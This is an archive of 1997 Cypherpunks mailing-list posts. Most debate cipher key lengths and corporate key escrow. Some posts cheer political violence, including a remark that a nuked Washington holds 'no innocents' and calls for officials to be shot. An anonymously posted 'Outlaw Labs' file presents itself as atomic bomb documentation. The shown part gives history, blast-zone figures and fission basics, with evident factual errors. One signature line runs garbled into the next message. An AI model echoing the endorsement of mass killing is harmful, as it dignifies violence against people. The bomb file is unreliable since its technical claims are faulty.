Message-ID: <19970510161002.52031@bywater.songbird.com>


On Sat, May 10, 1997 at 06:17:56PM -0400, Black Unicorn wrote:
> 
> On Sat, 10 May 1997, Adam Back wrote:
> 
> > 
> > Tim May  writes:
> > > However, while we may think their power is gone, or is almost gone, they
> > > think otherwise. And we're seeing an accelerating pace of lawmaking, [...]
> 
> [The fork in the road is discussed]
> 
> > > Who will actually win?
> > > 
> > > I think we will. They think they will. The war is underway.
> > 
> > So what are we doing to fight our side?  (Apart from fantasizing
> > about nuking the bastards till they glow :-)
> >
> > So what can cypherpunks do?
> > 
> > Write code?
> 
> Yes.  One of the major stumbling blocks I have run into is a lack of code
> which really is refined and reviewed enough to serve the purposes I need
> it to serve.  FC97 did a lot to make some more obscure things obvious, and
> familiarize the players with each other, but the details are often hard to
> come by.  Many of the applications out there are painfully behind in
> interface areas forcing developers to use complicated "toolkits" which
> often lack the basics we need. Finding an analogy to easily explain even
> the basics to a customer is very difficult unless the front end jibes with
> the attempt.
> 
> The amount of confusion over what represents a good algorithm is also
> interesting.  Take CAST, which seems a promising cipher and which we
> considered using over IDEA.
> 
> On asking 4 "experts" about CAST, I got 4 answers.
> 
> 1>  A 64 bit cipher with 40 bits secret.
> 2>  A 64 bit cipher - not expected to be very complete.
> 3>  A 128 bit cipher.
> 4>  "Not worth discussing."
> 
> In fact, as I understand it, CAST is of variable key length (Up to 128
> bits), and quite resistant to many attacks which plague DES and even IDEA.
> 
> But digging out that information was painfully difficult.  (It may not
> even be correct).

http://adonis.ee.queensu.ca:8000/cast/cast.html

Also 

http://www.entrust.com/library.htm

[Caveat:  I am not a cryptographer.]

[...]
> 
> Still, these are areas that I wish c'punks would start looking at again.

Unfortunately, c'punks seems bogged down in macho fantasies about guns.

> Even if strong unforfeited crypto is legal in the U.S., it will not be in
> other countries for quite some time.
> 
> There is strength in numbers, not just safety.  The more crypto users
> there are, the less government, or anyone else, can do about it.

Hence the value of the "Crypto is Cool" approach.  A valuable addition
would be crypto packages designed for high school kids.  All my many
nieces and nephews are on the net...

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From 0005514706 at mcimail.com  Sat May 10 16:31:26 1997
From: 0005514706 at mcimail.com (Michael Wilson)
Date: Sun, 11 May 1997 07:31:26 +0800
Subject: Political action and cypherpunks
Message-ID: <97051023213149/0005514706DC3EM@mcimail.com>


Given the recent comments on cypherpunks, I thought I would point out
a potentially useful resource:

http://www.geocities.com/CapitolHill/4843/

It might give the more 'political action' minded some useful ideas.

MW

Hierarchical organizations of all sorts orient around a monopoly. That
monopoly may be of force (as in 'gunpowder empires'), information
(particularly in intelligence organizations), command (as in military or
political structures), benefit (family or religious structures, where the
hierarchical control comes from the ability to dispense food, wealth,
etc.), interpretation (as in the Soviet State, which was the arbiter of
the dialectic), etc. Monopoly reservation or control of some resource
automatically equates to a dependency. What does this say about the
battle to control cryptography?

This is my PGP key; there are many like it, but this one is mine:
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.2

mQCNAzKfDM8AAAEEANn6IkHPSVLZS+z74L50to0yKIPyBD1620wvo28N9hZwVdaK
w7NvAAbX37NPfmTAikqQyN38AB22h8+LQw6tKJQFMBFCz6slGPlRmgMOmELZQZ0w
TO7NtPVpHqoe5nywd4msZr+VPFu0SuG7EWq57v/H8LG8PglvgLXwnqtr0xcZAAUT
tCRNaWNoYWVsIFdpbHNvbiA8NTUxNDcwNkBtY2ltYWlsLmNvbT4=
=wMsF
-----END PGP PUBLIC KEY BLOCK-----






From frissell at panix.com  Sat May 10 16:35:55 1997
From: frissell at panix.com (Duncan Frissell)
Date: Sun, 11 May 1997 07:35:55 +0800
Subject: Disinformation in L.A.
In-Reply-To: <19970510135714.39308@bywater.songbird.com>
Message-ID: 




On Sat, 10 May 1997, Kent Crispin wrote:

> I would expect a "cypherpunk riot" to be a little more aimed at 
> cyberspace than real-world suburban neighborhoods.  Wouldn't you?

Tim was mostly talking about nuking the District of Columbia.  You will
note that that is an artificial community filled entirely with politicians
and their sycophants.  It is sort of like the train that Ayn has blow up
in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
there. (Well a few tourists and Ethiopian immigrants who don't know better
but you can't win 'em all.)  Note also that he is hoping others will do
the deed.  He's not volunteering. 

There will be a few unfortunate explosions in the world over the next few
years so I'm sure Tim is just hoping for a beneficial target selection.

DCF 






From jya at pipeline.com  Sat May 10 17:02:00 1997
From: jya at pipeline.com (John Young)
Date: Sun, 11 May 1997 08:02:00 +0800
Subject: Intel for the War Underway
Message-ID: <1.5.4.32.19970510234723.0070b968@pop.pipeline.com>


The May 10 Economist has a special survey of
global electronic commerce.

It's a timely piece of battlespace intelligence for Tim's 
"war underway."

It pinpoints financial soft target CyberPromos receiving 
favorable crypto treatment by the world's governments
to manage the Net.

Eric Hughes is featured in its analysis of the birth 
or death struggle of digital cash -- the key battle,
if you will, of breaking the global banks and ranks 
of centralized information.

A battle underway in the US by the TLAs, the Key 
Recovery Alliance and the ABAs of the banks and the 
lawyers aiming for supremacy -- domestic and global --
by managing ever-thinning wallets.







From aba at dcs.ex.ac.uk  Sat May 10 17:09:40 1997
From: aba at dcs.ex.ac.uk (Adam Back)
Date: Sun, 11 May 1997 08:09:40 +0800
Subject: key recovery vs data backup
In-Reply-To: <19970510122931.54997@bywater.songbird.com>
Message-ID: <199705102351.AAA03114@server.test.net>



Kent Crispin  writes:
> On Sat, May 10, 1997 at 07:19:40PM +0100, Adam Back wrote:
> > It seems to me that it is you Kent who is scrambling to find plausible
> > reasons why key escrow is the best or only technology to use in
> > corporate email systems.
> 
> Not "best".  "Easiest".  Look at it this way, Adam -- if it was easy 
> to implement Carl's model, it would already have happened, given the 
> dislike of key-escrow in the cryptographic community.  

Firstly: have you done a comprehensive survey of corporate access
systems available to commerce.

Secondly: there are a number of other forces "encouraging" the GAK
model.  Government incentives: Europe companies and research groups
get given research funding to experiment with GAK/TTP architectures.
Either the architecture is stipulated as part of the call for
proposals, or proposals involving GAK are going to get funding more
easily.

Third: people involved with key recovery at all have tended to be
defense contractor types, who are more likely to go with government
"standards" (such as TTPs/clipper/tessera/etc).

> But, when examined in detail, in light of real requirements from
> organizations, it is not easy at all.

I was under the impression that PGP Inc had done it, or is working on
it.  It's not very hard at all, all you need is PGP's existing
multiple crypto-recipient feature.

The storage of your company master key needs some thought, but that's
a common problem with either your crypto key safe model or multiple
recipient model.

> I'm not "scrambling", Adam.  If there is anything you need to
> understand here, it is that I am *not* in favor of GAK.  

I have a memory.  I recall you made several posts where-in you said
you were against GAK.  Your line of argument seems to be that the rest
of us are misguided, or are allowing are dislike of GAK to cloud our
judgement on what a good crypto architecture GAK would be applied to
corporate key escrow.  Right?

> Chisel that in stone and think about it a bit -- your
> misunderstanding of my motives causes you to gloss over my arguments
> and not think about them.  I am sympathetic to your concerns, and I
> am trying to explain something I truly think people are missing.
> Think of me as intelligent, Adam, and I will do the same for you.

I have no doubts as to your intelligence.  I understand what you are
trying to explain, and understood the first time you tried to explain;
I just disagree!  If you want to discuss your motives, the thing that
puzzles me is that your tone, overall apparent statist tendencies, and
zest on this topic are at odds with your stance on GAK.  Did you ever
come across a guy called David Sternlight?  (Clearly an intelligent
guy, but having a tendency to hang on to arguments, and stir up flame
wars, in his case I'm sure this was intentional.)  Not equating you to
Sternlight, though there are some similarities in style.

Perhaps it is just that some of us reacted negatively when you first
bought this topic up, and you are still acting in retaliatorily
hostile manner as a result of this.  Remember it was you who called
for rational calm discussion.  People impute from your apparent
statist leanings, and your arguments against people who are against
the key-safe model because of the possibility of helping build a GAK
infrastructure that you are pro-GAK.  Perhaps you need to disclaim
this more clearly.

If I believed GAK architecture was superior to multiple-recipient, and
was arguing this I don't think I'd come across in the same way.

I'm not sure that multiple recipient is that much less useful to GAK
than the safe model, buf if it is at all less useful, and the systems
otherwise basically equivalent I would argue against the safe model
for that reason alone.  However I consider the safe model inferior in
several areas neglecting this issue anyway.

> > > [claimed unique and fatally complex problems with multiple 
> > > recipient approach]
> > 
> > Ah I see you do acknowledge what Carl Ellison and Matt Blaze have been
> > saying on cryptography at c2, that key escrow has complexity problems,
> > contrary to what you have previously been arguing :-)
> 
> You completely missed the point of the above paragraph -- all those
> questions apply to the "encrypt to policy-specified local recipients"
> model, and *don't* apply to the key-safe model.  

I contend that there are similar and mostly comparable problems with
the safe model.  Lets take a look at a few:

> > > With this background, perhaps now you can see why I say that Carl's 
> > > solution doesn't even address the problem.  The problem is management 
> > > of complexity.  Carl says "encrypt to Acme Corp".  Who in Acme Corp?  

Kent says give all the keys to Acme corp, or let Acme corp generate
the keys.  Who is Acme Corp?

The next bit is as a result of multiple recipient being more flexible
than the safe model as stated.  We now have freedom to allow different
elements in the company to audit and access different departments
communications.  Naturally this extra flexibility results in policy
decisions.

> > > What part of the organization that is Acme Corp is authorized to know 
> > > this particular bit of information?  Because some of the employees 
> > > are idiots you want this built automatically into the application 
> > > they are using for encryption/email/whatever.  How does this software 
> > > know what policy is appropriate for which employee?  How is that 
> > > policy distributed?  What is the interface that allows a policy to be 
> > > defined?   How do you protect the policy definition from subversion?

If making policy decisions is too complex in your view for
implementation or practicality, well just substitute a policy dumbed
down to the level of the safe model.  Ie there is one crypto
recipient, all company communications _must_ be encrytped to it as a
second crypto recipient.

Policy distribution is something Netscape has been doing; apparently
the difference between it's browsers is largely a signed policy file
with a mildly obfuscated public verification key check in the code.

I'm sure you can arrange this same flexibility and bring in the
baggage of the policy decisions that come with it for the safe model
also if you want it.  Store keys for different departments in
different safes.  Give the master keys for the department to the
department head, etc.,etc.  Same problem, similar policy decisions,
right?

> The key-safe model has no significant policy issues that need to be
> embedded in software -- the only policy is "when data encryption
> keys are generated a copy is sent to the key-safe (using an
> encrypted channel, of course)."

As stated above, this is because you have chosen a single master key
to go with the safe model.  If you choose a single crypto-recipient,
and master key encrypting the private half of that key, you largely
have equivalence.

> > I don't see the difference.  With the encrypt to multiple recipients
> > approach where the second crypto-recipient is the company key you can
> > store the private half of the corporate key using the same techniques
> > you discussed above.
> > 
> > Access to the data requires access to the master key in both cases.
> 
> It follows, therefore, that if the master key is compromised in both
> systems, all data is compromised.  From that perspective, the systems
> are equally secure. 

Or similarly insecure.  They are quite similar, I think multiple
recipient offers more flexibility, and security advantages, as well as
avoiding the sharing of private keys.

> > You fix the second crypto-recipient in the MUA if you wish to.
> 
> This is precisely the point I was alluding to in the policy discussion
> above.  In an organizational content, *of course* you will put all the
> complexity in the MUA.  The question is, how do you change the 
> "master key" indicator that is in each MUA?  Suppose that the 
> organization wants different keys for different departments -- how do 
> you keep track of which master key goes where?  How do all those 
> MUA's get their key policy module updated?

Sign the policy file.  Certify the signing key(s).  You're going to
have this anway for authentication of email content.

> >  The
> > fire-wall can reject posts without the second crypto-recipient.
> 
> How does the key policy module in the firewall get updated?

Sign it too.

> >  You
> > can use binding cryptography to ensure the fire-wall can tell that it
> > is an encrypted copy of the same document without the firewall needing
> > access to the master key.  You can't do this company has all keys in
> > the safe model, without givin the firewall automatic access to the
> > safe, which is a huge security risk.
> 
> ???
> With the key-safe model the firewall never enters into the picture.

It does for the same functionality.  With the key-safe model how do
you know that the ciphertexts flowing out of the building are
encrypted with a key that is in your safe at all?

You don't have to do the binding cryptography stuff with multiple
recipients if you don't want to.  With the safe model you can't do it
even if you do want to.

> > The advantage of the multiple recipient model is that doesn't commit
> > the cardinal sin/design flaw of sharing private crypto keys.
> 
> Two things:  First, any crypto system that doesn't deal with 
> protection/recovery/secure-use of private keys is incomplete.

For storage encryption keys where backups are not plaintext, I agree.
For communication keys, you do not need to backup.  Doing so weakens
security.  Communications keys should be transient, forward secret
even.  Authentication keys should be persistent, back up not required,
just generate new key, and new certificates if lost.  Storage keys
should be backed up where necessary.

> > The `it's easier to explain a safe full of all employee keys' to
> > management argument is nonsense also.  It's a master key either way
> > and just as easy to explain either way: a master key is a key that
> > lets you decrypt all mail.
> 
> At that level of generality both these systems are identical, and 
> equally easy to explain.  It's when you get down to the details that 
> things become more interesting.

With the safe model, to allow access to outgoing mail, you'll have to
encrypt to a company key as second crypto-recipient, or to yourself,
thereby allowing company access through access to your key.  Quite
similar to multiple recipient.  Similar explanation.

Adam
-- 
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0
Message-ID: <199705110023.TAA19163@manifold.algebra.com>


Duncan Frissell wrote:
> On Sat, 10 May 1997, Kent Crispin wrote:
> 
> > I would expect a "cypherpunk riot" to be a little more aimed at 
> > cyberspace than real-world suburban neighborhoods.  Wouldn't you?
> 
> Tim was mostly talking about nuking the District of Columbia.  You will
> note that that is an artificial community filled entirely with politicians
> and their sycophants.  It is sort of like the train that Ayn has blow up
> in the Rocky Mountain tunnel in Atlas Shrugged.  There are no innocents
> there. (Well a few tourists and Ethiopian immigrants who don't know better
> but you can't win 'em all.)  Note also that he is hoping others will do
> the deed.  He's not volunteering. 
> 
> There will be a few unfortunate explosions in the world over the next few
> years so I'm sure Tim is just hoping for a beneficial target selection.

Duncan, it is doubtful that there is any member of this mailing list, at
least of those whom I have seen posting, who will dare to raise his fat
ass and blow something up.

The "radicals" are mostly sitting and waiting for something dramatic to
happen, preferably as far from their nice houses and bank accounts as
possible.

Jim Bell might be an exception, but I would not bet on him.

	- Igor.






From markm at voicenet.com  Sat May 10 18:05:37 1997
From: markm at voicenet.com (Mark M.)
Date: Sun, 11 May 1997 09:05:37 +0800
Subject: The War is Underway (fwd)
In-Reply-To: 
Message-ID: 


-----BEGIN PGP SIGNED MESSAGE-----

On Sat, 10 May 1997, Black Unicorn wrote:

> The amount of confusion over what represents a good algorithm is also
> interesting.  Take CAST, which seems a promising cipher and which we
> considered using over IDEA.
> 
> On asking 4 "experts" about CAST, I got 4 answers.
> 
> 1>  A 64 bit cipher with 40 bits secret.
> 2>  A 64 bit cipher - not expected to be very complete.
> 3>  A 128 bit cipher.
> 4>  "Not worth discussing."
> 
> In fact, as I understand it, CAST is of variable key length (Up to 128
> bits), and quite resistant to many attacks which plague DES and even IDEA.
> 
> But digging out that information was painfully difficult.  (It may not
> even be correct).

According to _Applied Cryptography_, CAST is a Feistel cipher with a 64-bit
block length and 64-bit key length.  So far, brute force is the only known
attack.

As far as "obscenely large" key lengths are concerned, 3-key triple DES
uses a 168-bit key.  This is used in many crypto packages, including
export-controlled Netscape, and is being considered as a replacement for
DES in the U.S.  Triple DES will probably also be supported in the next
version of PGP.  Blowfish supports keys as long as 448 bits and RC4
supports keys up to 2048 bits.  The problem with variable length ciphers
is that programs that use them to not actually take advantage of variable
keys and just stick to using keys of a fixed, and small, size.

Using large key sizes for passphrase-based systems is difficult, because
it's just too difficult to remember a passphrase with enough entropy to
make a difference.  Assuming a random passphrase with 6 bits of entropy
per character, over 21 characters would have to be used for there to be
128 bits of entropy.  Systems that use randomly generated keys are
limited only by the amount of available entropy, but then the passphrase
security to encrypt the secret key or physical security become important.
Using excessively long keys does not do much for security, as there are
always going to be weaker links that an attacker can take advantage of.
It doesn't hurt to use a 256-bit key, or larger, but it doesn't do much
good, either.



Mark
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From nobody at REPLAY.COM  Sat May 10 19:21:47 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sun, 11 May 1997 10:21:47 +0800
Subject: Wine Politics Again! (fwd)
Message-ID: <199705110207.EAA12477@basement.replay.com>


On Fri, 9 May 1997, Tim May wrote:

> At 4:09 AM -0800 5/9/97, Robert Hettinga wrote:
> >--- begin forwarded text
...

> >Hello friends of the Virtual Vineyards and family wineries. Remember the
> >felony direct shipping law in Georgia I wrote about a few weeks ago? Well,
> >Governor Miller signed it, unfortunately. Ship a bottle of wine, go to
> >jail. Amazing.

It should go without saying that this is a classic case of a dumb bill,
being passed to serve the special interest of liquor store owners.

> Chiles and his co-conspirators should be shot for high crimes against the
> Constitution. After Clinton, Freeh, Kerrey, and the other traitors.

It should go without saying that the above is nonsense.  Sorry Tim.  To
take only the least obvious point:  the Constitution states in Amendment
21 -- ratified in 1933 and beyond any argument part of our Constitution --
that states get to make all the rules about the transportation or
importation of liquor into their jurisdiction.  You may not like this
rule, but it is beyond any serious argument our law.  A state that uses
this power in a stupid way is not acting in any sense
"unconstitutionally".  Supporters of this bill can be called "dumb" or
"bought and paid for" or other unkind things.  But I fail to see how
exercising a constitutional right can be a crime against the constitution. 
 
[... ugly stuff about "soft targets"]

It ill behooves participants in a democracy to either advocate or even
tolerate or even cluck sympathetically at mass murder for political ends. 
This way lies Bosnia.

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | [No email to foil spam]
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's warm here. 






From rlhelton at ares.csd.net  Sat May 10 19:41:54 1997
From: rlhelton at ares.csd.net (Helton)
Date: Sun, 11 May 1997 10:41:54 +0800
Subject: No Subject
Message-ID: <3.0.32.19970510202852.006a2624@ares.csd.net>


cypherpunks-request






From lucifer at dhp.com  Sun May 11 10:51:54 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 11 May 1997 10:51:54 -0700 (PDT)
Subject: No Subject
Message-ID: <199705111751.NAA24134@dhp.com>


 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------


 ============================================================================
               -------------------------------------------------
               - Documentation and Diagrams of the Atomic Bomb -
               -------------------------------------------------
 ============================================================================
   ______________
  /              \
 <-} DISCLAIMER {->
  \______________/

     The  information  contained  in  this file  is strictly for  academic use
alone.   Outlaw Labs will bear  no responsibility  for any use otherwise.   It
would be  wise  to note that the  personnel  who  design  and construct  these
devices are  skilled physicists  and are  more knowledgeable  in these matters
than  any  layperson  can ever hope to be...   Should  a layperson  attempt to
build a device such as this,  chances are s/he would probably kill his/herself
not by a nuclear detonation,  but rather through radiation exposure.   We here
at Outlaw Labs do not recommend using  this file beyond the realm of casual or
academic curiosity.


 ============================================================================

                            -----------------------
                            -+ Table of Contents +-
                            -----------------------


     I.  The History of the Atomic Bomb
         ------------------------------
         A).  Development  (The Manhattan Project)
         B).  Detonation
              1). Hiroshima
              2). Nagasaki
              3). Byproducts of atomic detonations
              4). Blast Zones


    II.  Nuclear Fission/Nuclear Fusion
         ------------------------------
         A).  Fission (A-Bomb) & Fusion (H-Bomb)
         B).  U-235, U-238 and Plutonium


   III.  The Mechanism of The Bomb
         -------------------------
         A).  Altimeter
         B).  Air Pressure Detonator
         C).  Detonating Head(s)
         D).  Explosive Charge(s)
         E).  Neutron Deflector
         F).  Uranium & Plutonium
         G).  Lead Shield
         H).  Fuses


    IV.  The Diagram of The Bomb
         -----------------------
         A).  The Uranium Bomb
         B).  The Plutonium Bomb




 ============================================================================ 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------



   I.  The History of the Atomic Bomb
       ------------------------------

       On August 2nd 1939, just before the beginning of World War II, Albert
Einstein wrote to then President Franklin D. Roosevelt.  Einstein and several
other scientists told Roosevelt of efforts in Nazi Germany to purify U-235
with which might in turn be used to build an atomic bomb.  It was shortly
thereafter that the United States Government began the serious undertaking
known only then as the Manhattan Project.  Simply put, the Manhattan Project
was committed to expedient research and production that would produce a viable
atomic bomb.

     The most complicated issue to be addressed was the production of ample
amounts of `enriched' uranium to sustain a chain reaction.  At the time,
Uranium-235 was very hard to extract.  In fact, the ratio of conversion from
Uranium ore to Uranium metal is 500:1.  An additional drawback is that the 1
part of Uranium that is finally refined from the ore consists of over 99%
Uranium-238, which is practically useless for an atomic bomb.  To make it even
more difficult, U-235 and U-238 are precisely similar in their chemical
makeup.  This proved to be as much of a challenge as separating a solution of
sucrose from a solution of glucose.  No ordinary chemical extraction could
separate the two isotopes.  Only mechanical methods could effectively separate
U-235 from U-238.  Several scientists at Columbia University managed to solve
this dilemma.

     A massive enrichment laboratory/plant was constructed at Oak Ridge,
Tennessee.  H.C. Urey, along with his associates and colleagues at Columbia
University, devised a system that worked on the principle of gaseous
diffusion.  Following this process, Ernest O.  Lawrence (inventor of the
Cyclotron) at the University of California in Berkeley implemented a process
involving magnetic separation of the two isotopes.

     Following the first two processes, a gas centrifuge was used to further
separate the lighter U-235 from the heavier non-fissionable U-238 by their
mass.  Once all of these procedures had been completed, all that needed to be
done was to put to the test the entire concept behind atomic fission.  [For
more information on these procedures of refining Uranium, see Section 3.]

     Over the course of six years, ranging from 1939 to 1945, more than 2
billion dollars were spent on the Manhattan Project.  The formulas for
refining Uranium and putting together a working bomb were created and seen to
their logical ends by some of the greatest minds of our time.  Among these
people who unleashed the power of the atomic bomb was J. Robert Oppenheimer.

     Oppenheimer was the major force behind the Manhattan Project.  He
literally ran the show and saw to it that all of the great minds working on
this project made their brainstorms work.  He oversaw the entire project from
its conception to its completion.

     Finally the day came when all at Los Alamos would find out whether or not
The Gadget (code-named as such during its development) was either going to be
the colossal dud of the century or perhaps end the war.  It all came down to
a fateful morning of midsummer, 1945.

     At 5:29:45 (Mountain War Time) on July 16th, 1945, in a white blaze that
stretched from the basin of the Jemez Mountains in northern New Mexico to the
still-dark skies, The Gadget ushered in the Atomic Age.  The light of the
explosion then turned orange as the atomic fireball began shooting upwards at
360 feet per second, reddening and pulsing as it cooled. The characteristic
mushroom cloud of radioactive vapor materialized at 30,000 feet.  Beneath the
cloud, all that remained of the soil at the blast site were fragments of jade
green radioactive glass.  ...All of this caused by the heat of the reaction.

     The brilliant light from the detonation pierced the early morning skies
with such intensity that residents from a faraway neighboring community would
swear that the sun came up twice that day.  Even more astonishing is that a
blind girl saw the flash 120 miles away.

     Upon witnessing the explosion, reactions among the people who created
it were mixed.  Isidor Rabi felt that the equilibrium in nature had been
upset -- as if humankind had become a threat to the world it inhabited.
J. Robert Oppenheimer, though ecstatic about the success of the project,
quoted a remembered fragment from Bhagavad Gita.  "I am become Death," he
said, "the destroyer of worlds."  Ken Bainbridge, the test director, told
Oppenheimer, "Now we're all sons of bitches."

     Several participants, shortly after viewing the results, signed petitions
against loosing the monster they had created, but their protests fell on deaf
ears.  As it later turned out, the Jornada del Muerto of New Mexico was not
the last site on planet Earth to experience an atomic explosion.

     As many know, atomic bombs have been used only twice in warfare.  The
first and foremost blast site of the atomic bomb is Hiroshima.  A Uranium
bomb (which weighed in at over 4 & 1/2 tons) nicknamed "Little Boy" was
dropped on Hiroshima August 6th, 1945.  The Aioi Bridge, one of 81 bridges
connecting the seven-branched delta of the Ota River, was the aiming point of
the bomb.  Ground Zero was set at 1,980 feet.  At 0815 hours, the bomb was
dropped from the Enola Gay.  It missed by only 800 feet.  At 0816 hours, in
the flash of an instant, 66,000 people were killed and 69,000 people were
injured by a 10 kiloton atomic explosion.

     The point of total vaporization from the blast measured one half of a
mile in diameter.  Total destruction ranged at one mile in diameter.  Severe
blast damage carried as far as two miles in diameter.  At two and a half
miles, everything flammable in the area burned.  The remaining area of the
blast zone was riddled with serious blazes that stretched out to the final
edge at a little over three miles in diameter.  [See diagram below for blast
ranges from the atomic blast.]

     On August 9th 1945, Nagasaki fell to the same treatment as Hiroshima.
Only this time, a Plutonium bomb nicknamed "Fat Man" was dropped on the city.
Even though the "Fat Man" missed by over a mile and a half, it still leveled
nearly half the city.  Nagasaki's population dropped in one split-second from
422,000 to 383,000.  39,000 were killed, over 25,000 were injured.  That
blast was less than 10 kilotons as well.  Estimates from physicists who have
studied each atomic explosion state that the bombs that were used had utilized
only 1/10th of 1 percent of their respective explosive capabilities.

     While the mere explosion from an atomic bomb is deadly enough, its
destructive ability doesn't stop there.  Atomic fallout creates another hazard
as well.  The rain that follows any atomic detonation is laden with
radioactive particles.  Many survivors of the Hiroshima and Nagasaki blasts
succumbed to radiation poisoning due to this occurance.

     The atomic detonation also has the hidden lethal surprise of affecting
the future generations of those who live through it.  Leukemia is among the
greatest of afflictions that are passed on to the offspring of survivors.

     While the main purpose behind the atomic bomb is obvious, there are many
by-products that have been brought into consideration in the use of all
weapons atomic.  With one small atomic bomb, a massive area's communications,
travel and machinery will grind to a dead halt due to the EMP (Electro-
Magnetic Pulse) that is radiated from a high-altitude atomic detonation.
These high-level detonations are hardly lethal, yet they deliver a serious
enough EMP to scramble any and all things electronic ranging from copper wires
all the way up to a computer's CPU within a 50 mile radius.

     At one time, during the early days of The Atomic Age, it was a popular
notion that one day atomic bombs would one day be used in mining operations
and perhaps aid in the construction of another Panama Canal.  Needless to say,
it never came about.  Instead, the military applications of atomic destruction
increased.  Atomic tests off of the Bikini Atoll and several other sites were
common up until the Nuclear Test Ban Treaty was introduced.  Photos of nuclear
test sites here in the United States can be obtained through the Freedom of
Information Act.

 ============================================================================

                - Breakdown of the Atomic Bomb's Blast Zones -
                ----------------------------------------------


                                       .
                         .                           .


              .                        .                        .
                             .                   .
               [5]                    [4]                    [5]
                                       .
                      .        .               .        .

       .                  .                         .                  .

                 .          [3]        _        [3]          .
                      .           .   [2]   .           .
                                .     _._     .
                               .    .~   ~.    .
    .          . [4] .         .[2].  [1]  .[2].         . [4] .          .
                               .    .     .    .
                                .    ~-.-~    .
                      .           .   [2]   .           .
                 .          [3]        -        [3]          .

       .                  .                         .                  .

                      .        ~               ~        .
                                       ~
               [5]           .        [4]        .           [5]
                                       .
              .                                                 .


                         .                           .
                                       .


 ============================================================================

                              - Diagram Outline -
                             ---------------------


     [1]  Vaporization Point
          ------------------
          Everything is vaporized by the atomic blast.  98% fatalities.
          Overpress=25 psi.  Wind velocity=320 mph.

     [2]  Total Destruction
          -----------------
          All structures above ground are destroyed.  90% fatalities.
          Overpress=17 psi.  Wind velocity=290 mph.

     [3]  Severe Blast Damage
          -------------------
          Factories and other large-scale building collapse.  Severe damage
          to highway bridges.  Rivers sometimes flow countercurrent.
          65% fatalities, 30% injured.
          Overpress=9 psi.  Wind velocity=260 mph.

     [4]  Severe Heat Damage
          ------------------
          Everything flammable burns.  People in the area suffocate due to
          the fact that most available oxygen is consumed by the fires.
          50% fatalities, 45% injured.
          Overpress=6 psi.  Wind velocity=140 mph.

     [5]  Severe Fire & Wind Damage
          -------------------------
          Residency structures are severely damaged.  People are blown
          around.  2nd and 3rd-degree burns suffered by most survivors.
          15% dead.  50% injured.
          Overpress=3 psi.  Wind velocity=98 mph.



----------------------------------------------------------------------------

                            - Blast Zone Radii -
                           ----------------------
                          [3 different bomb types]
____________________________________________________________________________
  ______________________   ______________________   ______________________
 |                      | |                      | |                      |
 |    -[10 KILOTONS]-   | |     -[1 MEGATON]-    | |    -[20 MEGATONS]-   |
 |----------------------| |----------------------| |----------------------|
 | Airburst - 1,980 ft  | | Airburst - 8,000 ft  | | Airburst - 17,500 ft |
 |______________________| |______________________| |______________________|
 |                      | |                      | |                      |
 |  [1]  0.5 miles      | |  [1]  2.5 miles      | |  [1]  8.75 miles     |
 |  [2]  1 mile         | |  [2]  3.75 miles     | |  [2]  14 miles       |
 |  [3]  1.75 miles     | |  [3]  6.5 miles      | |  [3]  27 miles       |
 |  [4]  2.5 miles      | |  [4]  7.75 miles     | |  [4]  31 miles       |
 |  [5]  3 miles        | |  [5]  10 miles       | |  [5]  35 miles       |
 |                      | |                      | |                      |
 |______________________| |______________________| |______________________|
____________________________________________________________________________

============================================================================


-End of section 1-

 
--------------------------------
  File courtesy of Outlaw Labs
--------------------------------

     II.  Nuclear Fission/Nuclear Fusion
          ------------------------------


     There are 2 types of atomic explosions that can be facilitated by U-235;
fission and fusion.  Fission, simply put, is a nuclear reaction in which an
atomic nucleus splits into fragments, usually two fragments of comparable
mass, with the evolution of approximately 100 million to several hundred
million volts of energy.  This energy is expelled explosively and violently in
the atomic bomb.  A fusion reaction is invariably started with a fission
reaction, but unlike the fission reaction, the fusion (Hydrogen) bomb derives
its power from the fusing of nuclei of various hydrogen isotopes in the
formation of helium nuclei.  Being that the bomb in this file is strictly
atomic, the other aspects of the Hydrogen Bomb will be set aside for now.

     The massive power behind the reaction in an atomic bomb arises from the
forces that hold the atom together.  These forces are akin to, but not quite
the same as, magnetism.

     Atoms are comprised of three sub-atomic particles.  Protons and neutrons
cluster together to form the nucleus (central mass) of the atom while the
electrons orbit the nucleus much like planets around a sun.  It is these
particles that determine the stability of the atom.

     Most natural elements have very stable atoms which are impossible to
split except by bombardment by particle accelerators.  For all practical
purposes, the one true element whose atoms can be split comparatively easily
is the metal Uranium.  Uranium's atoms are unusually large, henceforth, it is
hard for them to hold together firmly.  This makes Uranium-235 an exceptional
candidate for nuclear fission.

     Uranium is a heavy metal, heavier than gold, and not only does it have
the largest atoms of any natural element, the atoms that comprise Uranium have
far more neutrons than protons.  This does not enhance their capacity to
split, but it does have an important bearing on their capacity to facilitate
an explosion.

     There are two isotopes of Uranium.  Natural Uranium consists mostly of
isotope U-238, which has 92 protons and 146 neutrons (92+146=238).  Mixed with
this isotope, one will find a 0.6% accumulation of U-235, which has only 143
neutrons.  This isotope, unlike U-238, has atoms that can be split, thus it is
termed "fissionable" and useful in making atomic bombs.  Being that U-238 is
neutron-heavy, it reflects neutrons, rather than absorbing them like its
brother isotope, U-235.  (U-238 serves no function in an atomic reaction, but
its properties provide an excellent shield for the U-235 in a constructed bomb
as a neutron reflector.  This helps prevent an accidental chain reaction
between the larger U-235 mass and its `bullet' counterpart within the bomb.
Also note that while U-238 cannot facilitate a chain-reaction, it can be
neutron-saturated to produce Plutonium (Pu-239).  Plutonium is fissionable and
can be used in place of Uranium-235 {albeit, with a different model of
detonator} in an atomic bomb. [See Sections 3 & 4 of this file.])

